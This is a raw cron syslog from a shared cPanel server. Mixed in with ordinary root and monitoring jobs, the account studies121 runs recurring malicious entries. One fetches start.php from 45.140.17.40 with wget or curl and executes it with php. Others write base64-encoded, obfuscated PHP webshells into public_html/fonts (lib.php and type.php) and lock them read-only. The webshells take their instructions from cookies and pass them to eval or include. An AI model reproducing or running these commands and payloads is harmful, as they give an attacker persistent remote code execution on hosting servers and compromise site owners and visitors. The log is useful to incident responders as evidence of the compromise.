Sep 21 05:15:01 ip-184-168-122-23 CROND[18209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:15:01 ip-184-168-122-23 CROND[18210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:16:01 ip-184-168-122-23 CROND[18512]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:16:01 ip-184-168-122-23 CROND[18515]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 05:16:01 ip-184-168-122-23 CROND[18517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:16:01 ip-184-168-122-23 CROND[18519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:16:01 ip-184-168-122-23 CROND[18518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:16:01 ip-184-168-122-23 CROND[18520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:17:01 ip-184-168-122-23 CROND[18922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:17:01 ip-184-168-122-23 CROND[18926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:17:01 ip-184-168-122-23 CROND[18925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:17:01 ip-184-168-122-23 CROND[18923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:18:01 ip-184-168-122-23 CROND[19330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:18:01 ip-184-168-122-23 CROND[19334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:18:01 ip-184-168-122-23 CROND[19333]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:18:01 ip-184-168-122-23 CROND[19335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:18:01 ip-184-168-122-23 CROND[19332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:19:01 ip-184-168-122-23 CROND[19602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:19:01 ip-184-168-122-23 CROND[19603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:19:01 ip-184-168-122-23 CROND[19606]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:19:01 ip-184-168-122-23 CROND[19607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:20:01 ip-184-168-122-23 CROND[19918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:20:01 ip-184-168-122-23 CROND[19917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:20:01 ip-184-168-122-23 CROND[19922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:20:01 ip-184-168-122-23 CROND[19924]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 05:20:01 ip-184-168-122-23 CROND[19928]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 05:20:01 ip-184-168-122-23 CROND[19927]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:20:01 ip-184-168-122-23 CROND[19929]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 05:20:01 ip-184-168-122-23 CROND[19930]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 05:20:01 ip-184-168-122-23 CROND[19931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:21:01 ip-184-168-122-23 CROND[20197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:21:01 ip-184-168-122-23 CROND[20199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:21:01 ip-184-168-122-23 CROND[20202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:21:01 ip-184-168-122-23 CROND[20201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:22:01 ip-184-168-122-23 CROND[20463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:22:01 ip-184-168-122-23 CROND[20466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:22:01 ip-184-168-122-23 CROND[20465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:22:01 ip-184-168-122-23 CROND[20468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:22:01 ip-184-168-122-23 CROND[20467]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:23:01 ip-184-168-122-23 CROND[20753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:23:01 ip-184-168-122-23 CROND[20755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:23:01 ip-184-168-122-23 CROND[20754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:23:01 ip-184-168-122-23 CROND[20757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:24:01 ip-184-168-122-23 CROND[21150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:24:01 ip-184-168-122-23 CROND[21153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:24:01 ip-184-168-122-23 CROND[21151]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:24:01 ip-184-168-122-23 CROND[21154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:24:01 ip-184-168-122-23 CROND[21155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:25:01 ip-184-168-122-23 CROND[21446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:25:01 ip-184-168-122-23 CROND[21447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:25:01 ip-184-168-122-23 CROND[21450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:25:01 ip-184-168-122-23 CROND[21452]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 05:25:01 ip-184-168-122-23 CROND[21453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:25:01 ip-184-168-122-23 CROND[21451]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 05:26:01 ip-184-168-122-23 CROND[21750]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:26:01 ip-184-168-122-23 CROND[21752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:26:01 ip-184-168-122-23 CROND[21755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:26:01 ip-184-168-122-23 CROND[21757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:26:01 ip-184-168-122-23 CROND[21756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:27:02 ip-184-168-122-23 CROND[22034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:27:02 ip-184-168-122-23 CROND[22036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:27:02 ip-184-168-122-23 CROND[22038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
